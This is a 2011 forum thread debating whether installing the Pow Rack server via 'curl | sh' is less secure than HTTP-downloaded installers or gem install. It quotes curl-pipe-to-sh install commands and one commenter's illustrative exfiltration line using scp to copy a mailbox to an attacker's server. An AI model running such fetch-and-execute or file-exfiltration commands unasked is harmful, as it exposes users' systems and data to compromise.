News for hackers. Stuff that matters.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by tptacek on Thursday April 07, 2011 @02:53PM (#2420730)
If you download an installer from an https:// link, even though you still aren't capital-S Secure, you're still more secure than running shell scripts spat out over TCP port 80.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by bretthoerner on Thursday April 07, 2011 @03:01PM (#2420767)
So would,

    curl https://get.pow.cx/ | sh
Fix your complaint? Like the grandparent said, I'm not sure why curl | sh is any less secure than gem install or whathaveyou, in the oh-god-this-script-just-ran-rm-rf-/ sense.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by tptacek on Thursday April 07, 2011 @05:07PM (#2421210)
It would improve the situation but I'm still not a fan of perpetuating the pipe-into-shell idiom.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by scott_s on Thursday April 07, 2011 @05:44PM (#2421324)
The only meaningful difference between the two techniques is the extra step required to explicitly execute an installer. Is that your objection, that you don't like something being automatically executed upon download?
Re:Introducing Pow, a zero-configuration Rack server for Mac... by tptacek on Thursday April 07, 2011 @05:49PM (#2421350)
HTTPS, automatic installation, and UX that confounds security for end-users are my three objections to this gimmick.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by FooBarWidget on Thursday April 07, 2011 @05:57PM (#2421378)
I really don't see what's to object about. People who care about security can review it. People who just want it to work and don't care about security will blindly execute whatever instructions are written on the site. If the app is malicious then the latter group is screwed no matter what, doesn't matter whether it's 'curl | sh' or whether it's a .dmg/.zip/.tar.gz.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by shawndrost on Thursday April 07, 2011 @08:13PM (#2421816)
Your HTTPS suggestion makes sense, but can you explain your other two points by contrasting with "gem install"? How is the installation any more automatic? How does the UX confound security?
Re:Introducing Pow, a zero-configuration Rack server for Mac... by scott_s on Thursday April 07, 2011 @05:56PM (#2421375)
I was assuming HTTPS based on this thread chain, but even in practice, most installers I see aren't downloaded over HTTPS.

How does this practice confound security more than a normal installer? sudo asks for my password just as a normal installer would.

Re:Introducing Pow, a zero-configuration Rack server for Mac... by akkartik on Thursday April 07, 2011 @06:31PM (#2421485)
It's easier for a man in the middle to change a 15-line text script than to change a binary. Lowering that effort = increasing the odds and incidence of attempted attacks.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by scott_s on Thursday April 07, 2011 @07:03PM (#2421589)
I request one thing, you send me something completely different. I don't see how making the "something" an ASCII script makes it easier than a random binary (and there's no requirement that the random binary has any relationship with what I requested).

Oddly, I'm more used to seeing arguments that distributing source code is better than distributing binaries because you can inspect source code.

Re:Introducing Pow, a zero-configuration Rack server for Mac... by akkartik on Thursday April 07, 2011 @08:15PM (#2421822)
The scenario isn't that I send you something different, but that somebody else gets in between us and tampers with the data. That's what https tries to avoid.

We're arguing levels of badness here so it's a little hokey. But if you decide to open up your machine to run arbitrary code, a machine that can run shell will arguably get more infections than one that runs executables. To infect the ladder any script kiddies will need to know a 'harder' language and at least how to compile it. It's a couple more hoops to jump through. In the other case I could drive by and do scp ~/mailbox me@myserver:

Re:Introducing Pow, a zero-configuration Rack server for Mac... by scott_s on Thursday April 07, 2011 @10:04PM (#2422079)
"Tampers with the data" is functionally equivalent to sending me something different. There's not requirement that it looks like what I requested at all, and as long as it will execute when double-clicked, it'll do the trick.

We're already talking about running arbitrary code on a machine, compiled versus interpreted is irrelevant. And I think you have forgotten that a script with the appropriate hash-bang and file permissions is indistinguishable to most users from a compiled executable.

Re:Introducing Pow, a zero-configuration Rack server for Mac... by gnufied on Thursday April 07, 2011 @11:52PM (#2422353)
Rubygems at least has a post-install hook that gem authors can execute automatically.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by rch on Thursday April 07, 2011 @05:29PM (#2421275)
Just let me know when I can do: port selfupdate; port info ...
Re:Introducing Pow, a zero-configuration Rack server for Mac... by jarin on Thursday April 07, 2011 @07:37PM (#2421700)
I thought everyone moved over to homebrew now :)
Re:Introducing Pow, a zero-configuration Rack server for Mac... by burke on Thursday April 07, 2011 @02:59PM (#2420750)
Sure, but a huge amount of software is distributed over plain old HTTP anyway. I agree that we should be using HTTPS for things like this, but I don't buy that curling a shell script is worse than downloading an installer over an unencrypted connection.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by mcobrien on Friday April 08, 2011 @06:44AM (#2423171)
If you want https you can install from github:

curl https://github.com/37signals/pow/raw/master/install.sh | sh

Re:Introducing Pow, a zero-configuration Rack server for Mac... by igorgue on Thursday April 07, 2011 @03:09PM (#2420814)
No you're not! It's the same security issue.

You can for example, at your network level point get.pow.cx to a malicious script and you're done. That's the security issue, it has nothing to do with the HTTP protocol.

With that being said, I don't care, the risk is the same as downloading any software via http, in fact I loved it, so easy :-).

Re:Introducing Pow, a zero-configuration Rack server for Mac... by ericmoritz on Thursday April 07, 2011 @03:41PM (#2420933)
In fact it's much more transparent. With a compiled binary you don't see the steps involved, with a bash script you can step line by line and see exactly what the script is doing.

Those that don't care won't look at the script any more than they'll check the md5 hash of a binary to see that it's a legit binary. For those that care, they can look at the bash source.

Re:Introducing Pow, a zero-configuration Rack server for Mac... by tptacek on Thursday April 07, 2011 @04:06PM (#2421012)
Sorry, I just don't agree with this, but I also recognize it as a topic that we can nerd out over for hours and hours without improving the universe even a little. If what 'tptacek thinks about the security of software distribution means anything to you --- I'm not saying it has to --- then know that I think this is a bad idea that is only not causing problems because it is a gimmick used by so few projects.
Re:Introducing Pow, a zero-configuration Rack server for Mac... by burke on Thursday April 07, 2011 @04:47PM (#2421138)
I'm really, really trying to understand your viewpoint on this. How is this any more insecure than downloading (over HTTP) and running a graphical installer that requires your root password? Is it just because it takes a bit more effort to exploit a binary, given a MitM position, or am I missing something else?
Re:Introducing Pow, a zero-configuration Rack server for Mac... by random42 on Friday April 08, 2011 @02:09AM (#2422674)
We get that you think it is a bad idea, but don't know/understand why/how?

Since you are the security expert at Hn, we are trying to understand/learn from you.

This is not plain Nerdgasm making people understand about software security is making the world a little better.

Re:Introducing Pow, a zero-configuration Rack server for Mac... by FooBarWidget on Thursday April 07, 2011 @03:17PM (#2420839)
You mean DNS spoofing. That only works if you can get a valid certificate at one of the recognized CAs. If you use a self-signed one curl will still complain unless -k is given. But then again, after the Comodo fiasco...
Re:Introducing Pow, a zero-configuration Rack server for Mac... by wlll on Thursday April 07, 2011 @03:37PM (#2420920)